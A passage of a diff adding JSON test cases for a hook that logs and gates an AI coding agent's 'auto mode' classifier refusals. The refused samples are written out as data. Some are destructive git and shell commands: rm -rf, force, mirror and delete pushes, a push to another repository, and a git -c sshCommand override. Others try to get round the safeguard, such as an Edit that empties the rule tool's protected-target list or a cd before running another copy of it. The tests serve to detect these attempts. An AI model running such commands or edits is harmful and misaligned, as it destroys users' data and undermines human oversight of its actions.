"kind": "should act",
|
|
617
|
+
"source": "added from the build check",
|
|
618
|
+
"summary": "The session holds an allowed entry; a command on a folder whose name only starts with agent-channels is outside agent-channels, so it adds an entry.",
|
|
619
|
+
"events": [
|
|
620
|
+
{
|
|
621
|
+
"refusal": {
|
|
622
|
+
"tool_name": "Bash",
|
|
623
|
+
"tool_input": {
|
|
624
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
625
|
+
"description": "Run a step"
|
|
626
|
+
},
|
|
627
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
628
|
+
},
|
|
629
|
+
"name": "a"
|
|
630
|
+
},
|
|
631
|
+
{
|
|
632
|
+
"transcript": "ask",
|
|
633
|
+
"questions": [
|
|
634
|
+
{
|
|
635
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
636
|
+
"answer": "Allow it"
|
|
637
|
+
}
|
|
638
|
+
]
|
|
639
|
+
},
|
|
640
|
+
{
|
|
641
|
+
"refusal": {
|
|
642
|
+
"tool_name": "Bash",
|
|
643
|
+
"tool_input": {
|
|
644
|
+
"command": "rm -rf ~/agent-channels-old/build",
|
|
645
|
+
"description": "Run a step"
|
|
646
|
+
},
|
|
647
|
+
"reason": "[Destructive or Unwanted Actions] deletes a folder"
|
|
648
|
+
},
|
|
649
|
+
"expect": {
|
|
650
|
+
"creates_entry": true,
|
|
651
|
+
"entry_count": 2,
|
|
652
|
+
"answers": {
|
|
653
|
+
"a": "allowed"
|
|
654
|
+
}
|
|
655
|
+
}
|
|
656
|
+
}
|
|
657
|
+
]
|
|
658
|
+
},
|
|
659
|
+
{
|
|
660
|
+
"id": "R21",
|
|
661
|
+
"kind": "should act",
|
|
662
|
+
"source": "added from the build check",
|
|
663
|
+
"summary": "The session holds an allowed entry; a push in agent-channels of a branch that is not a claude/auto-mode-rule- branch adds an entry.",
|
|
664
|
+
"events": [
|
|
665
|
+
{
|
|
666
|
+
"refusal": {
|
|
667
|
+
"tool_name": "Bash",
|
|
668
|
+
"tool_input": {
|
|
669
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
670
|
+
"description": "Run a step"
|
|
671
|
+
},
|
|
672
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
673
|
+
},
|
|
674
|
+
"name": "a"
|
|
675
|
+
},
|
|
676
|
+
{
|
|
677
|
+
"transcript": "ask",
|
|
678
|
+
"questions": [
|
|
679
|
+
{
|
|
680
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
681
|
+
"answer": "Allow it"
|
|
682
|
+
}
|
|
683
|
+
]
|
|
684
|
+
},
|
|
685
|
+
{
|
|
686
|
+
"refusal": {
|
|
687
|
+
"tool_name": "Bash",
|
|
688
|
+
"tool_input": {
|
|
689
|
+
"command": "git push origin claude/project-thread-rule",
|
|
690
|
+
"description": "Run a step"
|
|
691
|
+
},
|
|
692
|
+
"reason": "[Destructive or Unwanted Actions] pushes a branch",
|
|
693
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
694
|
+
},
|
|
695
|
+
"expect": {
|
|
696
|
+
"creates_entry": true,
|
|
697
|
+
"entry_count": 2,
|
|
698
|
+
"answers": {
|
|
699
|
+
"a": "allowed"
|
|
700
|
+
}
|
|
701
|
+
}
|
|
702
|
+
}
|
|
703
|
+
]
|
|
704
|
+
},
|
|
705
|
+
{
|
|
706
|
+
"id": "R22",
|
|
707
|
+
"kind": "should act",
|
|
708
|
+
"source": "added from the build check",
|
|
709
|
+
"summary": "An Edit of add_auto_mode_rule.py names the rule tool and does not run it, so it adds an entry.",
|
|
710
|
+
"events": [
|
|
711
|
+
{
|
|
712
|
+
"refusal": {
|
|
713
|
+
"tool_name": "Edit",
|
|
714
|
+
"tool_input": {
|
|
715
|
+
"file_path": "@@scratch@@/agent-channels/setup/add_auto_mode_rule.py",
|
|
716
|
+
"old_string": "PROTECTED_TARGET_PATTERNS = (",
|
|
717
|
+
"new_string": "PROTECTED_TARGET_PATTERNS = () and ("
|
|
718
|
+
},
|
|
719
|
+
"reason": "[Self-Modification] edits the rule tool's protected targets"
|
|
720
|
+
},
|
|
721
|
+
"expect": {
|
|
722
|
+
"creates_entry": true,
|
|
723
|
+
"entry_count": 1
|
|
724
|
+
}
|
|
725
|
+
}
|
|
726
|
+
]
|
|
727
|
+
},
|
|
728
|
+
{
|
|
729
|
+
"id": "R23",
|
|
730
|
+
"kind": "should act",
|
|
731
|
+
"source": "added from the build check",
|
|
732
|
+
"summary": "A cd and then python3 setup/add_auto_mode_rule.py in one command is outside the accepted shapes, so it adds an entry.",
|
|
733
|
+
"events": [
|
|
734
|
+
{
|
|
735
|
+
"refusal": {
|
|
736
|
+
"tool_name": "Bash",
|
|
737
|
+
"tool_input": {
|
|
738
|
+
"command": "cd @@scratch@@/agent-channels-rule && python3 setup/add_auto_mode_rule.py validate --base origin/main",
|
|
739
|
+
"description": "Run a step"
|
|
740
|
+
},
|
|
741
|
+
"reason": "[Destructive or Unwanted Actions] runs a rules tool"
|
|
742
|
+
},
|
|
743
|
+
"expect": {
|
|
744
|
+
"creates_entry": true,
|
|
745
|
+
"entry_count": 1
|
|
746
|
+
}
|
|
747
|
+
}
|
|
748
|
+
]
|
|
749
|
+
},
|
|
750
|
+
{
|
|
751
|
+
"id": "R23b",
|
|
752
|
+
"kind": "should stay quiet",
|
|
753
|
+
"source": "added from the build check",
|
|
754
|
+
"summary": "The playbook's new form, python3 setup/add_auto_mode_rule.py run alone from the rule worktree, adds no entry.",
|
|
755
|
+
"events": [
|
|
756
|
+
{
|
|
757
|
+
"refusal": {
|
|
758
|
+
"tool_name": "Bash",
|
|
759
|
+
"tool_input": {
|
|
760
|
+
"command": "python3 setup/add_auto_mode_rule.py validate --base origin/main",
|
|
761
|
+
"description": "Run a step"
|
|
762
|
+
},
|
|
763
|
+
"reason": "[Destructive or Unwanted Actions] runs a rules tool",
|
|
764
|
+
"cwd": "@@scratch@@/agent-channels-rule"
|
|
765
|
+
},
|
|
766
|
+
"expect": {
|
|
767
|
+
"creates_entry": false,
|
|
768
|
+
"entry_count": 0
|
|
769
|
+
}
|
|
770
|
+
}
|
|
771
|
+
]
|
|
772
|
+
},
|
|
773
|
+
{
|
|
774
|
+
"id": "R24",
|
|
775
|
+
"kind": "should act",
|
|
776
|
+
"source": "added from the build check",
|
|
777
|
+
"summary": "The session holds an allowed entry; a pull request merge that names agent-channels is not a rule step, so it adds an entry.",
|
|
778
|
+
"events": [
|
|
779
|
+
{
|
|
780
|
+
"refusal": {
|
|
781
|
+
"tool_name": "Bash",
|
|
782
|
+
"tool_input": {
|
|
783
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
784
|
+
"description": "Run a step"
|
|
785
|
+
},
|
|
786
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
787
|
+
},
|
|
788
|
+
"name": "a"
|
|
789
|
+
},
|
|
790
|
+
{
|
|
791
|
+
"transcript": "ask",
|
|
792
|
+
"questions": [
|
|
793
|
+
{
|
|
794
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
795
|
+
"answer": "Allow it"
|
|
796
|
+
}
|
|
797
|
+
]
|
|
798
|
+
},
|
|
799
|
+
{
|
|
800
|
+
"refusal": {
|
|
801
|
+
"tool_name": "Bash",
|
|
802
|
+
"tool_input": {
|
|
803
|
+
"command": "gh pr merge 12 --repo owner/agent-channels --squash",
|
|
804
|
+
"description": "Run a step"
|
|
805
|
+
},
|
|
806
|
+
"reason": "[Destructive or Unwanted Actions] merges a pull request"
|
|
807
|
+
},
|
|
808
|
+
"expect": {
|
|
809
|
+
"creates_entry": true,
|
|
810
|
+
"entry_count": 2,
|
|
811
|
+
"answers": {
|
|
812
|
+
"a": "allowed"
|
|
813
|
+
}
|
|
814
|
+
}
|
|
815
|
+
}
|
|
816
|
+
]
|
|
817
|
+
},
|
|
818
|
+
{
|
|
819
|
+
"id": "R25",
|
|
820
|
+
"kind": "should act",
|
|
821
|
+
"source": "added from the build check",
|
|
822
|
+
"summary": "A cd .. before the rule tool runs another folder's copy of it, so it adds an entry.",
|
|
823
|
+
"events": [
|
|
824
|
+
{
|
|
825
|
+
"refusal": {
|
|
826
|
+
"tool_name": "Bash",
|
|
827
|
+
"tool_input": {
|
|
828
|
+
"command": "cd .. && python3 setup/add_auto_mode_rule.py add --label X --rule-file r.txt",
|
|
829
|
+
"description": "Run a step"
|
|
830
|
+
},
|
|
831
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
832
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
833
|
+
},
|
|
834
|
+
"expect": {
|
|
835
|
+
"creates_entry": true,
|
|
836
|
+
"entry_count": 1
|
|
837
|
+
}
|
|
838
|
+
}
|
|
839
|
+
]
|
|
840
|
+
},
|
|
841
|
+
{
|
|
842
|
+
"id": "R26",
|
|
843
|
+
"kind": "should act",
|
|
844
|
+
"source": "added from the build check",
|
|
845
|
+
"summary": "A cd to a folder named by a variable before the rule tool adds an entry.",
|
|
846
|
+
"events": [
|
|
847
|
+
{
|
|
848
|
+
"refusal": {
|
|
849
|
+
"tool_name": "Bash",
|
|
850
|
+
"tool_input": {
|
|
851
|
+
"command": "cd \"$OTHER_REPO\" && python3 setup/add_auto_mode_rule.py add --label X --rule-file r.txt",
|
|
852
|
+
"description": "Run a step"
|
|
853
|
+
},
|
|
854
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
855
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
856
|
+
},
|
|
857
|
+
"expect": {
|
|
858
|
+
"creates_entry": true,
|
|
859
|
+
"entry_count": 1
|
|
860
|
+
}
|
|
861
|
+
}
|
|
862
|
+
]
|
|
863
|
+
},
|
|
864
|
+
{
|
|
865
|
+
"id": "R27",
|
|
866
|
+
"kind": "should act",
|
|
867
|
+
"source": "added from the build check",
|
|
868
|
+
"summary": "A cd - before the rule tool adds an entry.",
|
|
869
|
+
"events": [
|
|
870
|
+
{
|
|
871
|
+
"refusal": {
|
|
872
|
+
"tool_name": "Bash",
|
|
873
|
+
"tool_input": {
|
|
874
|
+
"command": "cd - && python3 setup/add_auto_mode_rule.py add --label X --rule-file r.txt",
|
|
875
|
+
"description": "Run a step"
|
|
876
|
+
},
|
|
877
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
878
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
879
|
+
},
|
|
880
|
+
"expect": {
|
|
881
|
+
"creates_entry": true,
|
|
882
|
+
"entry_count": 1
|
|
883
|
+
}
|
|
884
|
+
}
|
|
885
|
+
]
|
|
886
|
+
},
|
|
887
|
+
{
|
|
888
|
+
"id": "R28",
|
|
889
|
+
"kind": "should act",
|
|
890
|
+
"source": "added from the build check",
|
|
891
|
+
"summary": "The session holds an allowed entry; a push of every branch adds an entry.",
|
|
892
|
+
"events": [
|
|
893
|
+
{
|
|
894
|
+
"refusal": {
|
|
895
|
+
"tool_name": "Bash",
|
|
896
|
+
"tool_input": {
|
|
897
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
898
|
+
"description": "Run a step"
|
|
899
|
+
},
|
|
900
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
901
|
+
},
|
|
902
|
+
"name": "a"
|
|
903
|
+
},
|
|
904
|
+
{
|
|
905
|
+
"transcript": "ask",
|
|
906
|
+
"questions": [
|
|
907
|
+
{
|
|
908
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
909
|
+
"answer": "Allow it"
|
|
910
|
+
}
|
|
911
|
+
]
|
|
912
|
+
},
|
|
913
|
+
{
|
|
914
|
+
"refusal": {
|
|
915
|
+
"tool_name": "Bash",
|
|
916
|
+
"tool_input": {
|
|
917
|
+
"command": "git push --all origin",
|
|
918
|
+
"description": "Run a step"
|
|
919
|
+
},
|
|
920
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
921
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
922
|
+
},
|
|
923
|
+
"expect": {
|
|
924
|
+
"creates_entry": true,
|
|
925
|
+
"entry_count": 2,
|
|
926
|
+
"answers": {
|
|
927
|
+
"a": "allowed"
|
|
928
|
+
}
|
|
929
|
+
}
|
|
930
|
+
}
|
|
931
|
+
]
|
|
932
|
+
},
|
|
933
|
+
{
|
|
934
|
+
"id": "R29",
|
|
935
|
+
"kind": "should act",
|
|
936
|
+
"source": "added from the build check",
|
|
937
|
+
"summary": "The session holds an allowed entry; a mirror push adds an entry.",
|
|
938
|
+
"events": [
|
|
939
|
+
{
|
|
940
|
+
"refusal": {
|
|
941
|
+
"tool_name": "Bash",
|
|
942
|
+
"tool_input": {
|
|
943
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
944
|
+
"description": "Run a step"
|
|
945
|
+
},
|
|
946
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
947
|
+
},
|
|
948
|
+
"name": "a"
|
|
949
|
+
},
|
|
950
|
+
{
|
|
951
|
+
"transcript": "ask",
|
|
952
|
+
"questions": [
|
|
953
|
+
{
|
|
954
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
955
|
+
"answer": "Allow it"
|
|
956
|
+
}
|
|
957
|
+
]
|
|
958
|
+
},
|
|
959
|
+
{
|
|
960
|
+
"refusal": {
|
|
961
|
+
"tool_name": "Bash",
|
|
962
|
+
"tool_input": {
|
|
963
|
+
"command": "git push --mirror origin",
|
|
964
|
+
"description": "Run a step"
|
|
965
|
+
},
|
|
966
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
967
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
968
|
+
},
|
|
969
|
+
"expect": {
|
|
970
|
+
"creates_entry": true,
|
|
971
|
+
"entry_count": 2,
|
|
972
|
+
"answers": {
|
|
973
|
+
"a": "allowed"
|
|
974
|
+
}
|
|
975
|
+
}
|
|
976
|
+
}
|
|
977
|
+
]
|
|
978
|
+
},
|
|
979
|
+
{
|
|
980
|
+
"id": "R30",
|
|
981
|
+
"kind": "should act",
|
|
982
|
+
"source": "added from the build check",
|
|
983
|
+
"summary": "The session holds an allowed entry; a push of every tag adds an entry.",
|
|
984
|
+
"events": [
|
|
985
|
+
{
|
|
986
|
+
"refusal": {
|
|
987
|
+
"tool_name": "Bash",
|
|
988
|
+
"tool_input": {
|
|
989
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
990
|
+
"description": "Run a step"
|
|
991
|
+
},
|
|
992
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
993
|
+
},
|
|
994
|
+
"name": "a"
|
|
995
|
+
},
|
|
996
|
+
{
|
|
997
|
+
"transcript": "ask",
|
|
998
|
+
"questions": [
|
|
999
|
+
{
|
|
1000
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1001
|
+
"answer": "Allow it"
|
|
1002
|
+
}
|
|
1003
|
+
]
|
|
1004
|
+
},
|
|
1005
|
+
{
|
|
1006
|
+
"refusal": {
|
|
1007
|
+
"tool_name": "Bash",
|
|
1008
|
+
"tool_input": {
|
|
1009
|
+
"command": "git push --tags origin",
|
|
1010
|
+
"description": "Run a step"
|
|
1011
|
+
},
|
|
1012
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
1013
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
1014
|
+
},
|
|
1015
|
+
"expect": {
|
|
1016
|
+
"creates_entry": true,
|
|
1017
|
+
"entry_count": 2,
|
|
1018
|
+
"answers": {
|
|
1019
|
+
"a": "allowed"
|
|
1020
|
+
}
|
|
1021
|
+
}
|
|
1022
|
+
}
|
|
1023
|
+
]
|
|
1024
|
+
},
|
|
1025
|
+
{
|
|
1026
|
+
"id": "R31",
|
|
1027
|
+
"kind": "should act",
|
|
1028
|
+
"source": "added from the build check",
|
|
1029
|
+
"summary": "The session holds an allowed entry; a push of a rule branch to another repository's URL adds an entry.",
|
|
1030
|
+
"events": [
|
|
1031
|
+
{
|
|
1032
|
+
"refusal": {
|
|
1033
|
+
"tool_name": "Bash",
|
|
1034
|
+
"tool_input": {
|
|
1035
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1036
|
+
"description": "Run a step"
|
|
1037
|
+
},
|
|
1038
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1039
|
+
},
|
|
1040
|
+
"name": "a"
|
|
1041
|
+
},
|
|
1042
|
+
{
|
|
1043
|
+
"transcript": "ask",
|
|
1044
|
+
"questions": [
|
|
1045
|
+
{
|
|
1046
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1047
|
+
"answer": "Allow it"
|
|
1048
|
+
}
|
|
1049
|
+
]
|
|
1050
|
+
},
|
|
1051
|
+
{
|
|
1052
|
+
"refusal": {
|
|
1053
|
+
"tool_name": "Bash",
|
|
1054
|
+
"tool_input": {
|
|
1055
|
+
"command": "git push https://github.com/other-owner/other-repo.git claude/auto-mode-rule-own-branch-force-push",
|
|
1056
|
+
"description": "Run a step"
|
|
1057
|
+
},
|
|
1058
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
1059
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
1060
|
+
},
|
|
1061
|
+
"expect": {
|
|
1062
|
+
"creates_entry": true,
|
|
1063
|
+
"entry_count": 2,
|
|
1064
|
+
"answers": {
|
|
1065
|
+
"a": "allowed"
|
|
1066
|
+
}
|
|
1067
|
+
}
|
|
1068
|
+
}
|
|
1069
|
+
]
|
|
1070
|
+
},
|
|
1071
|
+
{
|
|
1072
|
+
"id": "R32",
|
|
1073
|
+
"kind": "should act",
|
|
1074
|
+
"source": "added from the build check",
|
|
1075
|
+
"summary": "The session holds an allowed entry; a push with a git -c option adds an entry.",
|
|
1076
|
+
"events": [
|
|
1077
|
+
{
|
|
1078
|
+
"refusal": {
|
|
1079
|
+
"tool_name": "Bash",
|
|
1080
|
+
"tool_input": {
|
|
1081
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1082
|
+
"description": "Run a step"
|
|
1083
|
+
},
|
|
1084
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1085
|
+
},
|
|
1086
|
+
"name": "a"
|
|
1087
|
+
},
|
|
1088
|
+
{
|
|
1089
|
+
"transcript": "ask",
|
|
1090
|
+
"questions": [
|
|
1091
|
+
{
|
|
1092
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1093
|
+
"answer": "Allow it"
|
|
1094
|
+
}
|
|
1095
|
+
]
|
|
1096
|
+
},
|
|
1097
|
+
{
|
|
1098
|
+
"refusal": {
|
|
1099
|
+
"tool_name": "Bash",
|
|
1100
|
+
"tool_input": {
|
|
1101
|
+
"command": "git -c core.sshCommand=/tmp/other-ssh push -u origin claude/auto-mode-rule-own-branch-force-push",
|
|
1102
|
+
"description": "Run a step"
|
|
1103
|
+
},
|
|
1104
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
1105
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
1106
|
+
},
|
|
1107
|
+
"expect": {
|
|
1108
|
+
"creates_entry": true,
|
|
1109
|
+
"entry_count": 2,
|
|
1110
|
+
"answers": {
|
|
1111
|
+
"a": "allowed"
|
|
1112
|
+
}
|
|
1113
|
+
}
|
|
1114
|
+
}
|
|
1115
|
+
]
|
|
1116
|
+
},
|
|
1117
|
+
{
|
|
1118
|
+
"id": "R33",
|
|
1119
|
+
"kind": "should act",
|
|
1120
|
+
"source": "added from the build check",
|
|
1121
|
+
"summary": "The session holds an allowed entry; a push that deletes a rule branch adds an entry.",
|
|
1122
|
+
"events": [
|
|
1123
|
+
{
|
|
1124
|
+
"refusal": {
|
|
1125
|
+
"tool_name": "Bash",
|
|
1126
|
+
"tool_input": {
|
|
1127
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1128
|
+
"description": "Run a step"
|
|
1129
|
+
},
|
|
1130
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1131
|
+
},
|
|
1132
|
+
"name": "a"
|
|
1133
|
+
},
|
|
1134
|
+
{
|
|
1135
|
+
"transcript": "ask",
|
|
1136
|
+
"questions": [
|
|
1137
|
+
{
|
|
1138
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1139
|
+
"answer": "Allow it"
|
|
1140
|
+
}
|
|
1141
|
+
]
|
|
1142
|
+
},
|
|
1143
|
+
{
|
|
1144
|
+
"refusal": {
|
|
1145
|
+
"tool_name": "Bash",
|
|
1146
|
+
"tool_input": {
|
|
1147
|
+
"command": "git push --delete origin claude/auto-mode-rule-own-branch-force-push",
|
|
1148
|
+
"description": "Run a step"
|
|
1149
|
+
},
|
|
1150
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
1151
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
1152
|
+
},
|
|
1153
|
+
"expect": {
|
|
1154
|
+
"creates_entry": true,
|
|
1155
|
+
"entry_count": 2,
|
|
1156
|
+
"answers": {
|
|
1157
|
+
"a": "allowed"
|
|
1158
|
+
}
|
|
1159
|
+
}
|
|
1160
|
+
}
|
|
1161
|
+
]
|
|
1162
|
+
},
|
|
1163
|
+
{
|
|
1164
|
+
"id": "R34",
|
|
1165
|
+
"kind": "should act",
|
|
1166
|
+
"source": "added from the build check",
|
|
1167
|
+
"summary": "A rule tool path outside agent-channels adds an entry.",
|
|
1168
|
+
"events": [
|
|
1169
|
+
{
|
|
1170
|
+
"refusal": {
|
|
1171
|
+
"tool_name": "Bash",
|
|
1172
|
+
"tool_input": {
|
|
1173
|
+
"command": "python3 /tmp/other-checkout/setup/add_auto_mode_rule.py add --label X --rule-file r.txt",
|
|
1174
|
+
"description": "Run a step"
|
|
1175
|
+
},
|
|
1176
|
+
"reason": "[Destructive or Unwanted Actions] writes outside the rule flow",
|
|
1177
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
1178
|
+
},
|
|
1179
|
+
"expect": {
|
|
1180
|
+
"creates_entry": true,
|
|
1181
|
+
"entry_count": 1
|
|
1182
|
+
}
|
|
1183
|
+
}
|
|
1184
|
+
]
|
|
1185
|
+
},
|
|
1186
|
+
{
|
|
1187
|
+
"id": "R35",
|
|
1188
|
+
"kind": "should act",
|
|
1189
|
+
"source": "added from the build check",
|
|
1190
|
+
"summary": "The rule tool run with an accepted shape from a folder outside agent-channels adds an entry.",
|
|
1191
|
+
"events": [
|
|
1192
|
+
{
|
|
1193
|
+
"refusal": {
|
|
1194
|
+
"tool_name": "Bash",
|
|
1195
|
+
"tool_input": {
|
|
1196
|
+
"command": "python3 setup/add_auto_mode_rule.py add --label \"Own branch force push\" --rule-file /tmp/rule.txt",
|
|
1197
|
+
"description": "Run a step"
|
|
1198
|
+
},
|
|
1199
|
+
"reason": "[Destructive or Unwanted Actions] edits the rules folder"
|
|
1200
|
+
},
|
|
1201
|
+
"expect": {
|
|
1202
|
+
"creates_entry": true,
|
|
1203
|
+
"entry_count": 1
|
|
1204
|
+
}
|
|
1205
|
+
}
|
|
1206
|
+
]
|
|
1207
|
+
},
|
|
1208
|
+
{
|
|
1209
|
+
"id": "R36",
|
|
1210
|
+
"kind": "should act",
|
|
1211
|
+
"source": "added from the live run",
|
|
1212
|
+
"summary": "A server-side refusal that judged the action dangerous with no explanation: one Unexplained entry, the Stop gate holds with its question, and Allow it leads to a rule hold.",
|
|
1213
|
+
"events": [
|
|
1214
|
+
{
|
|
1215
|
+
"refusal": {
|
|
1216
|
+
"tool_name": "Bash",
|
|
1217
|
+
"tool_input": {
|
|
1218
|
+
"command": "python3 -c \"open(\\\"marker.txt\\\",\\\"w\\\").write(\\\"AUTOMODE_PROOF_MARKER_7Q\\\")\" && cat marker.txt",
|
|
1219
|
+
"description": "Run a step"
|
|
1220
|
+
},
|
|
1221
|
+
"reason": "The server-side auto mode classifier judged this action dangerous (it gave no explanation)"
|
|
1222
|
+
},
|
|
1223
|
+
"name": "a",
|
|
1224
|
+
"expect": {
|
|
1225
|
+
"creates_entry": true,
|
|
1226
|
+
"entry_count": 1,
|
|
1227
|
+
"answers": {
|
|
1228
|
+
"a": null
|
|
1229
|
+
},
|
|
1230
|
+
"context_contains": [
|
|
1231
|
+
"=== AUTO MODE DENIAL QUICK FIX ===",
|
|
1232
|
+
"```powershell",
|
|
1233
|
+
"Auto mode refused 1 Bash step under the Unexplained rule. Should auto mode have refused it?"
|
|
1234
|
+
]
|
|
1235
|
+
}
|
|
1236
|
+
},
|
|
1237
|
+
{
|
|
1238
|
+
"stop": {},
|
|
1239
|
+
"expect": {
|
|
1240
|
+
"held": true,
|
|
1241
|
+
"reason_contains": [
|
|
1242
|
+
"Auto mode refused 1 Bash step under the Unexplained rule. Should auto mode have refused it?",
|
|
1243
|
+
"Auto mode",
|
|
1244
|
+
"Keep refusing",
|
|
1245
|
+
"Allow it",
|
|
1246
|
+
"AUTOMODE_PROOF_MARKER_7Q"
|
|
1247
|
+
]
|
|
1248
|
+
}
|
|
1249
|
+
},
|
|
1250
|
+
{
|
|
1251
|
+
"transcript": "ask",
|
|
1252
|
+
"questions": [
|
|
1253
|
+
{
|
|
1254
|
+
"question": "Auto mode refused 1 Bash step under the Unexplained rule. Should auto mode have refused it?",
|
|
1255
|
+
"answer": "Allow it"
|
|
1256
|
+
}
|
|
1257
|
+
]
|
|
1258
|
+
},
|
|
1259
|
+
{
|
|
1260
|
+
"stop": {},
|
|
1261
|
+
"expect": {
|
|
1262
|
+
"held": true,
|
|
1263
|
+
"reason_contains": [
|
|
1264
|
+
"@@playbook@@",
|
|
1265
|
+
"@@ledger:a@@"
|
|
1266
|
+
],
|
|
1267
|
+
"answers": {
|
|
1268
|
+
"a": "allowed"
|
|
1269
|
+
}
|
|
1270
|
+
}
|
|
1271
|
+
}
|
|
1272
|
+
]
|
|
1273
|
+
},
|
|
1274
|
+
{
|
|
1275
|
+
"id": "R37",
|
|
1276
|
+
"kind": "should stay quiet",
|
|
1277
|
+
"source": "added from the live run",
|
|
1278
|
+
"summary": "After Allow it on an Unexplained refusal, the refused retry of the same command with a new description adds no entry and no second question.",
|
|
1279
|
+
"events": [
|
|
1280
|
+
{
|
|
1281
|
+
"refusal": {
|
|
1282
|
+
"tool_name": "Bash",
|
|
1283
|
+
"tool_input": {
|
|
1284
|
+
"command": "python3 -c \"open(\\\"marker.txt\\\",\\\"w\\\").write(\\\"AUTOMODE_PROOF_MARKER_7Q\\\")\" && cat marker.txt",
|
|
1285
|
+
"description": "Run a step"
|
|
1286
|
+
},
|
|
1287
|
+
"reason": "The server-side auto mode classifier judged this action dangerous (it gave no explanation)"
|
|
1288
|
+
},
|
|
1289
|
+
"name": "a",
|
|
1290
|
+
"expect": {
|
|
1291
|
+
"creates_entry": true,
|
|
1292
|
+
"entry_count": 1,
|
|
1293
|
+
"answers": {
|
|
1294
|
+
"a": null
|
|
1295
|
+
},
|
|
1296
|
+
"context_contains": [
|
|
1297
|
+
"=== AUTO MODE DENIAL QUICK FIX ===",
|
|
1298
|
+
"```powershell",
|
|
1299
|
+
"Auto mode refused 1 Bash step under the Unexplained rule. Should auto mode have refused it?"
|
|
1300
|
+
]
|
|
1301
|
+
}
|
|
1302
|
+
},
|
|
1303
|
+
{
|
|
1304
|
+
"stop": {},
|
|
1305
|
+
"expect": {
|
|
1306
|
+
"held": true,
|
|
1307
|
+
"reason_contains": [
|
|
1308
|
+
"Auto mode refused 1 Bash step under the Unexplained rule. Should auto mode have refused it?",
|
|
1309
|
+
"Auto mode",
|
|
1310
|
+
"Keep refusing",
|
|
1311
|
+
"Allow it",
|
|
1312
|
+
"AUTOMODE_PROOF_MARKER_7Q"
|
|
1313
|
+
]
|
|
1314
|
+
}
|
|
1315
|
+
},
|
|
1316
|
+
{
|
|
1317
|
+
"transcript": "ask",
|
|
1318
|
+
"questions": [
|
|
1319
|
+
{
|
|
1320
|
+
"question": "Auto mode refused 1 Bash step under the Unexplained rule. Should auto mode have refused it?",
|
|
1321
|
+
"answer": "Allow it"
|
|
1322
|
+
}
|
|
1323
|
+
]
|
|
1324
|
+
},
|
|
1325
|
+
{
|
|
1326
|
+
"refusal": {
|
|
1327
|
+
"tool_name": "Bash",
|
|
1328
|
+
"tool_input": {
|
|
1329
|
+
"command": "python3 -c \"open(\\\"marker.txt\\\",\\\"w\\\").write(\\\"AUTOMODE_PROOF_MARKER_7Q\\\")\" && cat marker.txt",
|
|
1330
|
+
"description": "Retry the step"
|
|
1331
|
+
},
|
|
1332
|
+
"reason": "The server-side auto mode classifier judged this action dangerous (it gave no explanation)"
|
|
1333
|
+
},
|
|
1334
|
+
"expect": {
|
|
1335
|
+
"creates_entry": false,
|
|
1336
|
+
"entry_count": 1,
|
|
1337
|
+
"answers": {
|
|
1338
|
+
"a": "allowed"
|
|
1339
|
+
}
|
|
1340
|
+
}
|
|
1341
|
+
},
|
|
1342
|
+
{
|
|
1343
|
+
"stop": {},
|
|
1344
|
+
"expect": {
|
|
1345
|
+
"held": true,
|
|
1346
|
+
"reason_contains": [
|
|
1347
|
+
"@@playbook@@",
|
|
1348
|
+
"@@ledger:a@@"
|
|
1349
|
+
],
|
|
1350
|
+
"answers": {
|
|
1351
|
+
"a": "allowed"
|
|
1352
|
+
}
|
|
1353
|
+
}
|
|
1354
|
+
}
|
|
1355
|
+
]
|
|
1356
|
+
},
|
|
1357
|
+
{
|
|
1358
|
+
"id": "Q1",
|
|
1359
|
+
